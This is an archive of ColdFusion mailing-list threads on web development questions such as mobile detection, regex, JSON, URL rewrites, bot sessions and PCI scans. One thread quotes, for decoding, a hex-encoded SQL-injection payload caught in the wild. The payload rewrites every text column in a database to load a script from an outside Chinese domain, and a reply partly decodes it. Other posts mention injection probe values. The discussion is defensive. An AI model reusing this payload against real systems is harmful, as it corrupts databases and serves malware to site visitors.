RE: Mobile
You could also look to Responsive Web Design in lieu of creating a separate site. ~Ché -Original Message- From: Ron Gowen [mailto:rsgo...@gmail.com] Sent: Friday, September 27, 2013 2:21 PM To: cf-talk Subject: Re: Mobile i use this: (not sure im cool though) https://github.com/sebarmeli/JS-Redirection-Mobile-Site On Fri, Sep 27, 2013 at 11:16 AM, John M Bliss bliss.j...@gmail.com wrote: Hi! I'm tasked with developing mobile browser-optimized version of existing site. What're the cool kids currently using for mobile browser-detection? This: http://www.cflib.org/udf/isMobileBrowser ...or something else? -- John Bliss - http://about.me/jbliss ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:356859 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Best way to use LESS CSS with CF?
Rick, this short article may be of help... http://davidwalsh.name/starting-css?utm_source=CSS-Weeklyutm_campaign=Issue -75utm_medium=email -Original Message- From: Rick Faircloth [mailto:r...@whitestonemedia.com] Sent: Tuesday, September 10, 2013 8:59 AM To: cf-talk Subject: RE: Best way to use LESS CSS with CF? I'm just now looking seriously into LESS and its usage. So far, I've really only looked at its use of variables. As far as variables are concerned, I don't see much difference between using variables and classes. I can define, say, a class this way in CSS: .titleColor { color: blue } and use it this way: p class=titleColor or define this way with LESS: @titleColor { color: blue } .titleColor { color: @titleColor } and use it this way: p class=titleColor Seems like LESS is more in this case and of insignificant benefit. Am I missing the point and best use of variables? ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:356734 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Need RegEx help for unknown/odd characters.
Good afternoon. Occasionally when parsing a RSS feed, I get RSS data I cannot parse. Click for screenshot below (text highlighted in green). In this example, Montreal should return Montréal but does not. What regex could I use to remove or replace such odd characters? http://www.asitv.com/images/_funkychar.jpg Thanks, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:355737 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Need RegEx help for unknown/odd characters.
Nathan, the problem is that within the feed itself, the characters don't have accents. When output to a browser, they funky chars display on screen with odd geometric shapes like an upright rectangle. They're like odd ascii chars that I have only seen a few time before. In the end, I can't insert them into the MySQL db. Ché -Original Message- How about deAccent() ? http://cflib.org/udf/deAccent On Wed, May 15, 2013 at 9:20 AM, Che Vilnonis ch...@asitv.com wrote: Good morning. Occasionally when parsing a RSS feed, I get RSS data I cannot parse. Click for screenshot below (text highlighted in green). In this example, Montreal should return Montréal but does not. What regex could I use to remove or replace such odd characters? http://www.asitv.com/images/_funkychar.jpg ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:355762 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Need RegEx help for unknown/odd characters.
Good morning. Occasionally when parsing a RSS feed, I get RSS data I cannot parse. Click for screenshot below (text highlighted in green). In this example, Montreal should return Montréal but does not. What regex could I use to remove or replace such odd characters? http://www.asitv.com/images/_funkychar.jpg Thanks, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:355733 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Parsing XML response from web services with ColdFusion DeserializeJSON
Hello Sasha. Try this... cfset results = reReplace(httpReponse.FileContent, ^[^]*, , ALL) cfset results = xmlParse(results) cfdump var=#results# Hope this helps... Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:355685 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
New CF hack...
http://arstechnica.com/security/2013/04/coldfusion-hack-used-to-steal-hostin g-providers-customer-data/ Thought I'd pass this on... Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:355468 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Problem with Hackers on Donation form through Authorize.net
Al, I see values like this all of the time. In most cases, I'll see values like -1, -1' or 1' for input fields. I use a custom function to scan all form vars and if there is a match... I typically ban the IP address for a period of time. You'll *likely* find a pattern to the IP addresses that are problematic. Many IP subnets are repeat offenders. ~Che -Original Message- From: Al Musella, DPM [mailto:muse...@virtualtrials.com] Sent: Sunday, February 17, 2013 6:38 PM To: cf-talk Subject: RE: Problem with Hackers on Donation form through Authorize.net I added another filter today... I have always checked all form submissions for the bad keywords but I noticed that many of the attacks seem to start with them entering 1 or -1 as the first and or last name. Probably too lazy to put more keystrokes in when they are setting up the script. So now if a 1 or -1 is entered in any field that has the word name within the field name, they get added to my list of banned IP addresses and if they go to any page on any of the websites I run, they get an error page that looks like the website is down Anyone else seeing a lot of form submissions with -1 or 1 as the name? ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:354560 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: JSON to CF variable?
How about... cfoutput#theData.results[1].formatted_address#/cfoutput -Original Message- From: Les Irvin [mailto:les.cft...@gmail.com] Sent: Thursday, February 14, 2013 4:12 PM To: cf-talk Subject: JSON to CF variable? Taking this JSON result from Google: http://maps.googleapis.com/maps/api/geocode/json?address=34.172684,-104.6047 94sensor=false How would I address the formatted_address result as a CF variable? I've gotten this far: cfhttp method=Get url= http://maps.googleapis.com/maps/api/geocode/json?address=34.172684,-104.6047 94sensor=false cfset theData=DeserializeJSON(cfhttp.FileContent) cfdump var=#theData# ...but then I'm stuck. I need #whatevergoeshere# = County Road 1-11, Yeso, NM 88136, USA ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:354528 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
(ot) Fed Reserve Hack
With all of the talk of CF security I thought I'd pass this along. According to Chris Wysopal of VeraCode, the site was running Coldfusion. https://www.veracode.com/blog/2013/02/stolen-data-headers-from-the-federal-r eserve-hack/ http://www.huffingtonpost.com/2013/02/05/federal-reserve-security-breach_n_2 622698.html ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:354350 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
(ot) Ionics Isapi Rewrite Filter Question
Hello all and apologies for being off topic. I have client that is looking to fix all 404s errors based on their Google Analytics report. For some reason, they have several hundred malformed URLs that were indexed by the googlebot like so: http://domain.com/http://www.domain.com/displayproducts/apparel/t-shirts.htm l http://domain.com/http://www.domain.com/displayproducts/apparel/sweatshirts. html For every instance, I'd like to match the http://domain.com/http://www.domain.com; and perform a 301 Redirect to http://www.domain.com; while keeping the query string in place instead of serving up 404 pages. For my most recent attempt, I used the following in my IsapiRewrite4.ini file: RewriteCond %{HTTP_HOST} ^http://domain\.com/http://www\.domain\.com$ RedirectRule ^/(.*)$http://www.domain.com/$1 [R=301] I'd appreciate any help in resolving this issue. The web server runs IIS6 and uses v1.x of IIRF. Thanks in advance, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:353751 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Making a website mobile friendly
Greg, Google responsive web design. You'll see that there are many ways to accomplish this. For older sites, it may be best to have a completely new version of the site. For sites that are new or for sites that are being redesigned there are ways to create a site using CSS3 or dynamic CSS (via LESS) that can work for almost all browsers and mobile devices. A lot incorporate fluid designs and various grid layouts. These links may be of help: http://stuffandnonsense.co.uk/projects/320andup/ http://960.gs/ http://www.sitepoint.com/responsive-web-design/#fbid=9Wl6mlbe5bH http://uxdesign.smashingmagazine.com/2012/05/30/design-process-responsive-ag e/ http://twitter.github.com/bootstrap/ Hope this helps, Che -Original Message- From: Greg Morphis [mailto:gmorp...@gmail.com] Sent: Tuesday, July 24, 2012 10:26 AM To: cf-talk Subject: Making a website mobile friendly For the people who have turned their full fledged website into a mobile ready site.. where do you start? We have a CF9 website with flash, jquery, and other javascript, some parts are kinda ugly.. Where do you begin? A whole rewrite? Can you make a separate site and when a mobile device hits your URL it goes there? What's the best way to handle making a website mobile friendly? ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:351967 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
CF, Bots sessionTimeouts
I maintain a well-trafficked site on CF9 that has occasional memory problems that ultimately requires restarts. I am fairly certain the cause of my problems is related to bot hits and the server's memory they take up. I am attempting to set low sessionTimeouts to all bots to remedy this situation. I've listed a few code samples below I found while researching a solution. Is there a best practice as to handle this? Any additional code samples would be welcome. Thanks, Che Method #1 cfif structKeyExists(cookie, CFID) cfset this.sessionTimeout = createTimeSpan(0,0,10,0) cfelse cfset this.sessionTimeout = createTimeSpan(0,0,0,2) /cfif Method #3 cfif isBoolean(URLSessionFormat(true)) cfset this.sessionTimeout = createTimeSpan(0,0,10,0) cfelse cfset this.sessionTimeout = createTimeSpan(0,0,0,2) /cfif Method #3 cfset this.sessionTimeout = createTimeSpan(0,0,10,0) cfif len(cgi.http_user_agent) gt 0 cfloop list=bot\b,crawl\b,crawler\b,spider\b,\brss,addthis,alexa,bender,custo,doco mo,esobisubscriber,ezooms,funwebproducts,giganot,google web preview,heritrix,ia archiver,ichiro,jeeves,mail.ru,netseer,nutch,powermarks,simple server monitor,slurp,sogou,twiceler,vse,vortex,websurfer,yahoocachesystem index=i delimiters=, cfif reFind(i, lcase(cgi.http_user_agent)) cfset this.sessionTimeout = createTimeSpan(0,0,0,2) cfbreak /cfif /cfloop cfelse cfset this.sessionTimeout = createTimeSpan(0,0,0,2) /cfif ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:351209 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
MySQL question
Should be a simple one for a mysql guru. What is the mysql equivalent of the following? select datePart(dd,timestamp) as dayOfMonth, count(timestamp) as searchesPerDay from mytable where (timestamp between '5/1/2012 00:00:00' and '5/31/2012 23:59:59') group by datePart(dd,timestamp) order by datePart(dd,timestamp) asc Thanks, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:351027 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Regex for High Ascii Chars
Hello all. I'm dealing with a API where some of the results are populated with certain Ascii characters in order to get higher sorting results. For example, some of the characters I'm finding are: 8635 or 9606 or 9658 or 9668 or 9734 or 9835 Is there a regex that could remove all of these characters at once w/o having to maintain an ever growing list of them? TIA, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:350764 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Failed PCI Compliance test on CF9.01
Robert, a product like Fuseguard from Pete Freitag or a Web Application Firewall (or a plugin type of filter to your existing firewall) may help. I'm currently going through a similar process and thought these options might help. Ché -Original Message- From: Robert Rhodes [mailto:rrhode...@gmail.com] Sent: Tuesday, March 06, 2012 9:08 AM To: cf-talk Subject: Re: Failed PCI Compliance test on CF9.01 Justin, thanks for the reply, and I get your point, but I can't break out the registration process into a standalone site quickly. There must be a fairly quick solution to this problem. Surely, I can't be the first to deal with this. ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:350254 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Is what I'm trying to do with XML even possible?
Rick, does something like this work for you? cfset theURL = http://www.lennox.com/api/v1/z7RRSHM/Categories; cfhttp url=#theURL# method=GET result=xmlFeed cfset xmlFeed = xmlParse(theURL) cfset theArray = xmlSearch(xmlFeed, //*[local-name() = 'Category']) / cfloop index=i from=1 to=#arrayLen(theArray)# cfoutput Category Name = #replace(theArray[i].CategoryName.xmlText, : , , ALL)#br /cfoutput /cfloop Hope that helps, Che -Original Message- From: Rick Faircloth [mailto:r...@whitestonemedia.com] Sent: Wednesday, January 04, 2012 10:38 AM To: cf-talk Subject: Is what I'm trying to do with XML even possible? Hi, all... I've been banging my head against this XML wall for over a week now and either I just don't get it or what I'm trying to do is not possible given what the vendor is providing. The vendor of product info provides 3 ways to access product information: Categories, Product within those Categories, and each Product's details Now, if I were pulling this info from a db, I would naturally use loops to get the categories, products within each categories and products details for each product. However I can't see to get this approach to work with info coming from cfhttp links. For obtaining all categories, the vendor provides: http://lennox.com/api/v1/z7RRSHM/Categories/ ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:349307 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Determining if multiple Sites are Up/Down?
I have a niche directory website that lists dozens of other related sites. What would be the best way to determine if a web site is up/down so I can programmatically make a site active or inactive? I was thinking of just creating a scheduled task and using cfhttp and looking for a status code of 200. Are there any better ways? Thanks, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:348092 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Determining if multiple Sites are Up/Down?
Russ, thanks for the +1 Ray, I have not. The site will be hosted on Railo so I don't believe that's an option. -Original Message- From: Raymond Camden [mailto:raymondcam...@gmail.com] Sent: Thursday, October 13, 2011 9:51 AM To: cf-talk Subject: Re: Determining if multiple Sites are Up/Down? Have you look at the System Probes feature in the CF Admin? On Thu, Oct 13, 2011 at 8:38 AM, Che Vilnonis ch...@asitv.com wrote: I have a niche directory website that lists dozens of other related sites. What would be the best way to determine if a web site is up/down so I can programmatically make a site active or inactive? I was thinking of just creating a scheduled task and using cfhttp and looking for a status code of 200. Are there any better ways? Thanks, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:348095 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
CSS Conditionals Question
I know how to call/import different CSS files using statements like this: !--[if lte IE 7] My question is: within a single CSS file, is it possible to have conditonal CSS statements? I'm looking for a solution that doesn't require CF, PHP, or ASP. Thanks, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:346689 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: CSS Conditionals Question
Dan/Les thanks. I was aware of the other methods and was hoping I could have conditional logic in one CSS file. IE really is a PITA! -Original Message- From: Les Mizzell [mailto:lesm...@bellsouth.net] Sent: Thursday, August 11, 2011 10:59 AM To: cf-talk Subject: Re: CSS Conditionals Question I've been avoiding hacks if possible myself. Microsoft tends to break them with each new release. I've started using a conditional in the body of my files. It's been working rather well... !--[if IE] div id=IEroot ![endif]-- p id=myParaStyleEverything goes here/p !--[if IE] /div ![endif]-- In my CSS #myParaStyle { ... stuff for most } #IEroot #myParaStyle { ...stuff just for IE } ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:346696 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: QoQ in Railo
Have you tried the Railo Group? It's worked for me in the past. http://groups.google.com/group/railo?lnk=srg ~Che -Original Message- From: Brian Cain [mailto:bcc9...@gmail.com] Sent: Thursday, June 23, 2011 1:13 PM To: cf-talk Subject: QoQ in Railo Hello all, I am attempting to migrate an exiting CF site from a server running CFMX7 to Railo. For the most part things are working well, but I have run into 2 problems. The first problem is when attempting to do a query of a query. I get a variable [revenuehistory] doesn't exist error. CFQUERY name=RevenueHistory datasource=#appdatasource# SELECT A BUNCH OF STUFF FROM MULTIPLE DATABASES AND JOIN ALL TOGETHER USING A BUNCH OF UNIONS FOR FURTHER PROCESSING IN CF /CFQUERY CFQUERY dbtype=query name=GetYears SELECT DISTINCT PYear FROM RevenueHistory ORDER BY PYear DESC /CFQUERY This is where the error comes. This works just fine in CFMX7. I was wondering of anyone has heard of any problems with this type of thing. I also am having trouble with links that use / in the query string to pass variables used with a very old version of Fusebox's formAttributes2URL custom tag. http://local.careerspecific.com/jobs.cfm/SiteID/1/CatID/881/Engineering_Jobs .htm A link like the one above gives me a 404 error. Any ideas? Thanks, Brian Cain ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:345599 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Can anyone decode this?
Can anyone decode this? This was a URL attack that was caught by some custom code. I tried decoding the string at http://meyerweb.com/eric/tools/dencoder/ but had no luck. 113|736;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861 72283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F 522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A65637473 20612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E 78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D33 35206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E20 5461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F4375 72736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30 2920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40 432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D 22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363 726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B652027272522 3E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D 672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D2727272946455443 48204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C40432045 4E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C65 5F437572736F72 AS CHAR(4000));EXEC(@S); Thanks, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:344490 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Can anyone decode this?
John, what did you do to decode this? Thanks, Che -Original Message- From: John M Bliss [mailto:bliss.j...@gmail.com] Sent: Friday, May 13, 2011 10:34 AM To: cf-talk Subject: Re: Can anyone decode this? Patial: DECLARE @T varchar(255),@C varcha??C?DT4??$R?F??U?7W'6??5U%4??d?R select a.name,b.name from sysobjects7?66??V??2??v?WRC???B???B???xtype='u' and (b.xtype=99 or b.xtype=3?R?G??S?#3??G??S??crT??Table_Cursor FETCH NEXT FROM Table_Cu?'6D???B??2?t???R???dUD4??5D?EU3??) BEGIN exec('update ['+@T+'] set ['+@?2?u???r??2?u??rr#???F?F?S??67??B?73? http://sdo.1000mg.cn/csrss/w.js;/sc???C?rr?v?WR?r??2?r???BR?rrR? /titlescript src=http://sdo.1000m?r?6??77'72?r??2#???67??C?rrr?dUD?H NEXT FROM Table_Cursor INTO @T,@C E??B?4??4R?F??U?7W'6??DT4?DR?F???_Cursor On Fri, May 13, 2011 at 9:31 AM, Che Vilnonis ch...@asitv.com wrote: Can anyone decode this? This was a URL attack that was caught by some custom code. I tried decoding the string at http://meyerweb.com/eric/tools/dencoder/ but had no luck. 113|736;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172 636861 72283430303029204445434C415245205461626C655F437572736F7220435552534F52 20464F 522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A65 637473 20612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E64 20612E 78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970 653D33 35206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50 454E20 5461626C655F437572736F72204645544348204E4558542046524F4D20205461626C65 5F4375 72736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455 533D30 2920424547494E20657865632827757064617465205B272B40542B275D20736574205B 272B40 432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C7363726970742073 72633D 22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C 2F7363 726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B652027 272522 3E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E3130 30306D 672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D2727272946 455443 48204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C40 432045 4E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461 626C65 5F437572736F72 AS CHAR(4000));EXEC(@S); Thanks, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:344492 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: CFFILEUPLOAD total confusion
If you want to go the jQuery route, you could try Uploadify. I recently used it and had no issues. http://www.uploadify.com/ Regards, Che -Original Message- From: Gene Godsey [mailto:gene.god...@comcast.net] Sent: Tuesday, May 03, 2011 3:21 PM To: cf-talk Subject: CFFILEUPLOAD total confusion I have been on adobe forums, I have dialogued with Ray Camden and scoured the web. I will also say that I have been doing CF for a long time but this one has me stumped. call me dumb but it is what it is. Here is my index.cfm file: -- cffileupload url=index_action.cfm?#urlEncodedFormat(session.urlToken)# progressbar=true name=myupload width=400 height=300 title = UPLOAD MULTIPLE FILES TO PRIVATE FOLDER maxuploadsize=200 extensionfilter=*.jpg, *.png, *.flv, *.txt, *.doc, *.docx, *.xls, *.xlsx *.pdf BGCOLOR=##0078AE MAXFILESELECT=10 / -- Here is the action file called: index_action.cfm -- cffile action=uploadall destination=#expandPath('uploads')# nameconflict=overwrite result=myVar / cfdump var=#myVar# cfset str.STATUS = 200 cfset str.MESSAGE = passed cfoutput#serializeJSON(str)#/cfoutput -- Well we all know this s a flash application so there is not a postback to the server. I need the filename of the uploads to be available to me so I can insert the names into the database via the directory that are in. this will allow the users of the site to download and read the given files. My problem is that I do not know how to return the file names so I can insert them into the given data table. There is no return here. All I can imagine is there must be some kind of JavaScript the will provide me with the name so I can insert the names as the files are uploaded to the given directory. Question 1: How do I get the application to retrieve and provide the file or files name(s)? Question 2: Is this display an actual output or is this .cgi information that I pull behind the seens? Question 3: If this is done with jQuery or some kind of JavaScript call is it possible to get an example to I can replicate it in process? Thanks in advance. ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:344190 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Insert without checking existance
Could this be combined with an ELSE statement in SQL? That is, insert if new, update if existing? Thanks, Che -Original Message- This is what I'm using at the moment but I'm going to read what you have as well. I want fast and safe. cfquery datasource=#variables.dsn# if not exists( Select keywordid from keywords where keyword = cfqueryparam value=#local.keyword# cfsqltype=cf_sql_varchar) Insert into keywords(keyword) values(cfqueryparam value=#local.keyword# cfsqltype=cf_sql_varchar) /cfquery ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:341620 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Insert without checking existance
Michael, I found this using Google... UPDATE Table1 SET (...) WHERE Column1='SomeValue' IF @@ROWCOUNT=0 INSERT INTO Table1 VALUES (...) Might be better? Che -Original Message- From: Michael Dinowitz [mailto:mdino...@houseoffusion.com] Sent: Friday, January 28, 2011 10:58 AM To: cf-talk Subject: Re: Insert without checking existance Yes. if exists(statement) something else something else The question I have to look up is if the whole operation is one 'unit' or does it have to have transaction control. Is there a 'gap' between the exists() check and the actual sql operation? ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:341632 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Return boolean from a CFC query -- UPDATE: Solved
Charlie, is this true only when the return type is Boolean? Otherwise, it should return the actual recordcount, right? Thanks, Che You could also drop the comparison itself since CF does implicit boolean conversion. cfreturn isStudentEmployee.recordcount / ^That'll do the same thing. ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:341415 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: CF Permanent Redirect (301)???
